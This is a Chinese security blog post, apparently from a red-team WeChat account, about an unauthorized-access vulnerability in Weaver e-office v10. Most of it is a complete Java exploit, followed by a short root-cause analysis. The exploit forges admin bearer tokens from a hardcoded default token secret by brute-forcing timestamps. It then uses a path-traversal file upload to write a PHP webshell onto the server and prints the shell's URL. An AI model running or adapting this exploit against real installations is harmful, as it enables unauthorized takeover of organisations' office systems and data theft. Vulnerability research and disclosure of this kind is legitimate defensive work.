“A9 Team 甲方攻防团队，成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域，持续分享安全运营和攻防的思考和实践。”
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漏洞版本
漏洞利用
利用条件：存在在线的用户
例如：
假设：管理员已经登录
运行如下脚本，生成token
这里只是爆破了在以当前时间为基准的前15分钟和当前时间后3分钟内管理员登录的token，如果需要爆破更长时间，可以将代码中的
int count1 = 60 * 15 , 15 的值设置大一些.
利用代码如下:
package com.C0lorful.algorithm;import java.security.MessageDigest;import java.security.NoSuchAlgorithmException;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.net.HttpURLConnection;import java.net.InetSocketAddress;import java.net.Proxy;import java.net.URL;import java.nio.charset.StandardCharsets;import java.security.SecureRandom;import java.util.ArrayList;public class VulnEoffice {public static ArrayList<String> generateToken() {ArrayList<String> arrayList = new ArrayList<>();String tokenSecret = "HLVFscA97YMRRlVyNMvueWIBIITX8Q11";String tokenAlgo = "SHA-512";long theTime = System.currentTimeMillis() / 1000;String type = "access";String type2 = "refresh";String userId = "admin";// 下面是普通用户的 userId// String userId = "WV00000002";int count1 = 60 * 3;int count2 = 60 * 3;long beforeTime = theTime - count1;long afterTime = theTime + count2;MessageDigest digest;try {digest = MessageDigest.getInstance(tokenAlgo);} catch (NoSuchAlgorithmException e) {e.printStackTrace();return null;}// 爆破之前的long tempTime = theTime;while (tempTime >= beforeTime) {String accessHash = generateHash(digest, type + userId + tempTime + tokenSecret);String refreshHash = generateHash(digest, type2 + userId + tempTime + tokenSecret);arrayList.add("Bearer " + accessHash);// System.out.println(accessHash);// System.out.println(refreshHash);tempTime = tempTime - 1;}// 爆破之后的tempTime = theTime;while (tempTime <= afterTime) {String accessHash = generateHash(digest, type + userId + tempTime + tokenSecret);String refreshHash = generateHash(digest, type2 + userId + tempTime + tokenSecret);arrayList.add("Bearer " + accessHash);// System.out.println("Bearer " + accessHash);// System.out.println("Bearer " + refreshHash);tempTime = tempTime + 1;}return arrayList;}private static String generateHash(MessageDigest digest, String input) {byte[] hashBytes = digest.digest(input.getBytes());StringBuilder hexString = new StringBuilder();for (byte b : hashBytes) {String hex = Integer.toHexString(0xff & b);if (hex.length() == 1) {hexString.append('0');}hexString.append(hex);}return hexString.toString();}public static void vuln(String token) {try {// 创建URL对象URL url = new URL("http://172.20.10.5:8010/eoffice10/server/public/api/attachment/base64");// 创建代理对象Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress("127.0.0.1", 8080));// 打开连接，并设置代理HttpURLConnection connection = (HttpURLConnection) url.openConnection(proxy);// 设置请求方法为POSTconnection.setRequestMethod("POST");connection.setRequestProperty("Authorization", token);connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");// 启用输出流connection.setDoOutput(true);String randomNumber = String.valueOf(getRandomNumber());String fileName = md5Generate(randomNumber);// 设置请求体内容String requestBody = "image_file=data:image/php;base64,PD9waHAgcGhwaW5mbygpO2M/Pg==&image_name=../../../../../www/" + fileName;System.out.println("fileName :" + fileName + ".php");byte[] requestBodyBytes = requestBody.getBytes(StandardCharsets.UTF_8);connection.setRequestProperty("Content-Length", String.valueOf(requestBodyBytes.length));connection.getOutputStream().write(requestBodyBytes);// 发送请求并获取响应代码int responseCode = connection.getResponseCode();// 读取响应内容BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));String line;StringBuilder response = new StringBuilder();while ((line = reader.readLine()) != null) {response.append(line);}reader.close();// 打印响应内容和响应代码System.out.println("Response Code: " + responseCode);System.out.println("Response Body: " + response.toString());connection.disconnect();if (responseCode == 200) {// 打开连接，并设置代理HttpURLConnection connection2 = (HttpURLConnection) (new URL("http://172.20.10.5:8010/" + fileName + ".php")).openConnection();// 设置请求方法为GETconnection2.setRequestMethod("GET");if (connection2.getResponseCode() == 200) {System.out.println("vlun success,the webshell url is: " + "http://172.20.10.5:8010/" + fileName + ".php");}}// 关闭连接} catch (IOException e) {e.printStackTrace();}}public static void doGet(String token) {try {// 创建URL对象URL url = new URL("http://172.20.10.5:8010/eoffice10/server/public/api/customer/contact-record?limit=10&page=1&withComment=1");// 创建代理对象Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress("127.0.0.1", 8080));// 打开连接，并设置代理HttpURLConnection connection = (HttpURLConnection) url.openConnection(proxy);// 设置请求方法为GETconnection.setRequestMethod("GET");connection.setRequestProperty("Authorization", token);// 发送请求并获取响应代码try {int responseCode = connection.getResponseCode();if (responseCode == 200) {// 打印响应内容和响应代码System.out.println("Response Code: " + responseCode);// 读取响应内容BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));String line;StringBuilder response = new StringBuilder();while ((line = reader.readLine()) != null) {response.append(line);}System.out.println("Authorization: " + token);System.out.println("Response Body: " + response.toString());reader.close();vuln(token);}// 关闭连接connection.disconnect();} catch (Exception e) {e.printStackTrace();}} catch (IOException e) {e.printStackTrace();}}public static String md5Generate(String param) {try {// 获取MD5消息摘要实例MessageDigest md = MessageDigest.getInstance("MD5");// 计算输入字符串的MD5哈希值byte[] hashBytes = md.digest(param.getBytes());// 将哈希值转换为十六进制字符串StringBuilder sb = new StringBuilder();for (byte b : hashBytes) {sb.append(String.format("%02x", b));}String md5Hash = sb.toString();// 打印MD5哈希值System.out.println("MD5 Hash: " + md5Hash);return md5Hash;} catch (NoSuchAlgorithmException e) {e.printStackTrace();}return param;}public static int getRandomNumber() {SecureRandom secureRandom = new SecureRandom();int randomNumber = secureRandom.nextInt();return randomNumber;}public static void main(String[] args) {ArrayList<String> TokenList = generateToken();for (String token : TokenList) {doGet(token);}}}
漏洞分析
登录token 的生成代码
eoffice10/server/app/EofficeApp/Auth/Services/AuthService.php
查看用户凭证生成方式
判断登录方式
$this->isMobile())这里移动端的判断方式比较容易绕过
这里的 $mobile_refresh_token_ttl $web_refresh_token_ttl都是从认证配置文件 auth.php读取的
具体路径为：eoffice10/server/config/auth.php
经过多次在不同机器上安装，发现auth.php 配置文件中的键值对是不变的
if ($this->isMobile()) {$refreshTokenTtl = config("auth.mobile_refresh_token_ttl");} else {$refreshTokenTtl = config("auth.web_refresh_token_ttl");}
mobile_refresh_token_ttl——>10080
web_refresh_token_ttl——>120
return ["token_secret" => envOverload("TOKEN_SECRET", "HLVFscA97YMRRlVyNMvueWIBIITX8Q11"),"token_algo" => "sha512","login_key_secret" => "56bba8589219c78f982ba9816acefefa9cf7b0ede10c7e289769208d4cc5c2c97863e10e68087adc7c37f65ae0d0f8ffecf214813662cb5e37c438e215473592","web_token_ttl" => envOverload("WEB_TOKEN_TTL", 60),"web_refresh_token_ttl" => envOverload("WEB_REFRESH_TOKEN_TTL", 120),"mobile_token_ttl" => envOverload("MOBILE_TOKEN_TTL", 1440),"mobile_refresh_token_ttl" => envOverload("MOBILE_REFRESH_TOKEN_TTL", 10080),"token_grace_period" => envOverload("TOKEN_GRACE_PERIOD", 2)];
查看generateToken方法
根据上图中代码，可以发现登录的token是通过hash函数生成的
hash($tokenAlgo, $type . $userId . $tokenTime . $tokenSecret, false)这里的 $tokenAlgo $tokenSecret 也都是从认证配置文件 auth.php读取的，这里的$tokenAlgo和$tokenSecret的值如下：
$tokenAlgo ——> sha512$tokenSecret ——> HLVFscA97YMRRlVyNMvueWIBIITX8Q11
$type = "access"，$tokenTime = time(); 所以只需要获取$userId即可
获取用户userid
通过创建新用户和查看数据库的用户id号，发现如果是管理员，则userId是admin，如果为非管理员用户，那么userId为WV00000001**，**依次递增
管理员 $userId————>admin
普通用户 $userId————>WV0000000pos
下面这里是连续创建了三个用户，可以看到userId是依次按照顺序递增的
下面代码可以看到新的普通用户的userId的生成方式
原文始发于微信公众号（A9 Team）：泛微OA v10_20211213_Offline 未授权访问漏洞
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